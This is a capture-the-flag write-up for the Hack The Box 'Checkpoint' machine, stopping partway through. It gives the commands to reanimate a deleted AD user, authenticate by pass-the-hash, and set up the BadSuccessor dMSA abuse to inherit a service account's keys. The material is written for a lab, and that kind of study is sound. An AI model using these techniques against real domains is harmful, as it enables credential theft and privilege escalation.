Hack The Box - HTB Checkpoint Writeup - Medium - Weekly - June 13th, 2026

Hack The Box -  HTB Checkpoint  Writeup - Medium - Weekly - June 13th, 2026
  • HTB: Checkpoint — Detailed Writeup (redacted, command-by-command)
  • Target: <target-ip> (DC01) · Attacker: <attacker-ip> (tun0)


0. Environment setup — two gotchas that will waste hours if missed

Before any of the attack works reliably, two environmental issues must be fixed. These are not part of the "intended" path but are real over the HTB VPN against a Server 2025 DC.

0.1 The VPN path‑MTU black hole

Symptom: small requests (auth, LDAP queries, getting a TGT) succeed, but anything that produces a large request silently hangs forever — specifically the dMSA Kerberos TGS‑REQ (~1.6 KB) and the 2 GB SMB file read. The kerbad tool dies with a misleading Python error: encoded_data must be a byte string, not NoneType.

Root cause: the tun0 VPN interface defaults to MTU 1500, but the actual end‑to‑end path MTU to the box is ~1300 bytes. Any IP packet larger than ~1300 is dropped without an ICMP "fragmentation needed" message (a "black hole"). TCP keeps retransmitting the oversized segment and never gets through.

Diagnose (watch a hung Kerberos request on the wire):

sudo tcpdump -i tun0 -n 'port 88'
  • -i tun0 — capture on the VPN interface.
  • -n — don't resolve names (faster, clearer).
  • 'port 88' — Kerberos. In the capture you'll see your host retransmit the same large segment repeatedly while the DC sends an ACK that selectively acknowledges only the small trailing segment (a SACK block) and never advances the cumulative ACK — proof the big segment never arrived.

Confirm the cap with ping (DF = "don't fragment", so an oversized packet is dropped rather than fragmented):

ping -M do -s 1272 <target-ip>   # 1272 payload + 28 hdr = 1300-byte packet -> OK
ping -M do -s 1322 <target-ip>   # 1322 payload + 28 hdr = 1350-byte packet -> FAILS
  • -M do — set the Don't‑Fragment bit.
  • -s N — ICMP payload size; the on‑wire IP packet is N + 28 bytes. The largest -s that succeeds + 28 ≈ the path MTU.

Fix — lower the interface MTU so TCP negotiates a smaller MSS and never emits an oversized segment:

sudo ip link set dev tun0 mtu 1300

After this, the dMSA Kerberos exchange and the big SMB transfer work normally. (Re-apply after every VPN reconnect.)

0.2 Clock skew + AES‑only Kerberos

Clock skew: Kerberos rejects timestamps more than ~5 minutes off. This DC's clock runs ~1 day ahead, so every Kerberos tool must think it is the DC's time. Read the DC time over SMB and feed it to faketime:

DCT=$(nmap --script smb2-time -p445 <target-ip> -oN - | awk -F'date: ' '/\| *date:/ {print $2}' | sed 's/T/ /' | head -1)
  • nmap --script smb2-time -p445 <target-ip> — the smb2-time NSE script asks the SMB2 server for its current time (no auth needed).
  • -oN - — write normal output to stdout so we can parse it.
  • awk -F'date: ' '/\| *date:/ {print $2}' — grab the value after date: (avoids the start_date: line).
  • sed 's/T/ /' — turn the ISO 2026-06-15T18:02:11 into 2026-06-15 18:02:11 (the format faketime wants).
  • head -1 — first match only. Result stored in $DCT.

Then prefix Kerberos commands with:

TZ=UTC faketime "$DCT" <command>
  • TZ=UTC — interpret $DCT as UTC (the DC reports UTC), avoiding local‑timezone double‑offset.
  • faketime "$DCT" <cmd> — runs <cmd> with the system clock spoofed to $DCT via an LD_PRELOAD shim; only that process is affected.

AES‑only domain: RC4 Kerberos is disabled. Requesting an RC4 ticket fails with KDC_ERR_ETYPE_NOSUPP, so always authenticate with the password (yields AES). The dMSA "previous keys" still contain the RC4/NT‑hash bytes regardless — that's what we ultimately extract.

Name resolution — add the DC to /etc/hosts so Kerberos SPNs/realm resolve:

echo "<target-ip> checkpoint.htb dc01.checkpoint.htb DC01.CHECKPOINT.HTB dc01" | sudo tee -a /etc/hosts

1. Foothold enumeration (alex.turner)

We're given alex.turner : <provided-password>. First confirm it and map what alex can write.

nxc smb <target-ip> -d checkpoint.htb -u alex.turner -p '<provided-password>'
  • nxc smb — NetExec, SMB protocol module.
  • -d checkpoint.htb — domain.
  • -u / -p — username / password.
  • A [+] checkpoint.htb\alex.turner:<password> line means the credential is valid. The banner also confirms host=DC01, Build 26100 = Server 2025.
bloodyAD --host <target-ip> --dns <target-ip> -d checkpoint.htb \
  -u alex.turner -p '<provided-password>' get writable
  • bloodyAD — an AD manipulation tool that talks LDAP.
  • --host — the DC to bind to. --dns <target-ip> — use the DC for DNS (needed because we resolve AD names through it).
  • get writable — enumerates every object/attribute the current user can write. This is the key recon step.

What it reveals for alex (the rights we'll chain):

  • Reanimate‑Tombstones on the domain → can restore deleted objects.
  • CREATE_CHILD for msDS-DelegatedManagedServiceAccount on OU=Employees → can create dMSA objects (needed for BadSuccessor).
  • WRITE over the tombstoned Mark Davies object in CN=Deleted Objects.

2. Restore the deleted user mark.davies

alex's Reanimate‑Tombstones right lets us bring a deleted account back to life.

bloodyAD --host <target-ip> --dns <target-ip> -d checkpoint.htb \
  -u alex.turner -p '<provided-password>' set restore mark.davies
  • set restore mark.davies — find the tombstone for mark.davies and reanimate it.
  • Success: [+] mark.davies has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb.
  • (If restore‑by‑name fails, you can restore by SID/RID: derive the domain SID from alex's objectSid and set restore <domain-sid>-1102.)

Shortcut: mark.davies reuses alex's password, so mark's NT hash is just the NT hash of <provided-password> (compute locally with MD4 of the UTF‑16LE password). Authenticate with the hash (Pass‑the‑Hash) and enumerate shares:

nxc smb <target-ip> -d checkpoint.htb -u mark.davies -H <mark-nt-hash> --shares
  • -H <mark-nt-hash> — authenticate with the NT hash instead of -p (Pass‑the‑Hash).
  • --shares — list shares and our access.
  • Result: DevDrop READ,WRITE (a VS Code extension drop share) and VMBackups (visible but no access yet). DevDrop is our exec primitive.
The "proper" route recovers mark's hash via dMSA too (it shows up as a dMSA previous key), but password reuse makes that unnecessary here.

3. Create the svc_deploy dMSA (as alex) — set up BadSuccessor

BadSuccessor abuses dMSA "migration": if a dMSA is marked as the successor of a target account, the KDC will hand the dMSA the target's keys (so the migrated service keeps working). We create a dMSA that supersedes svc_deploy. alex can create the dMSA object; the matching attributes on svc_deploy itself are written later by ryan (step 4), who holds the write right.

bloodyAD --host <target-ip> --dns <target-ip> -d checkpoint.htb -u alex.turner -p '<provided-password>' \
  add badSuccessor '<svc-dmsa>' \
  -t 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb' \
  --ou 'OU=Employees,DC=checkpoint,DC=htb' --prepatch
  • add badSuccessor '<svc-dmsa>' — bloodyAD's BadSuccessor helper; creates a dMSA named <svc-dmsa>.
  • -t 'CN=svc_deploy,...' — the target we want to impersonate/inherit (svc_deploy).
  • --ou 'OU=Employees,...' — where to create the dMSA (alex has CREATE_CHILD here).
  • --prepatchonly create the dMSA object; do not attempt to write the msDS-Superseded* attributes on the target. We need that split because alex cannot write svc_deploy — ryan will, in step 4.
  • Expected: [+] Creating DMSA <svc-dmsa>$ ... then a Python traceback (Cannot mix str and non-str arguments) when bloodyAD tries to build the kerbad URL. This crash is harmless — the LDAP object was already created before it.

Verify the object exists and is configured:

nxc ldap <target-ip> -d checkpoint.htb -u alex.turner -p '<provided-password>' \
  --query '(sAMAccountName=<svc-dmsa>$)' 'distinguishedName msDS-ManagedAccountPrecededByLink'
  • nxc ldap ... --query '<filter>' '<attrs>' — run an LDAP search.
  • (sAMAccountName=<svc-dmsa>$) — find our dMSA (machine‑style account, note the trailing $).
  • You should see msDS-ManagedAccountPrecededByLink = CN=svc_deploy,..., i.e. the dMSA points at svc_deploy. (It also gets msDS-DelegatedMSAState=2 and an msDS-GroupMSAMembership granting alex the right to read its managed password.)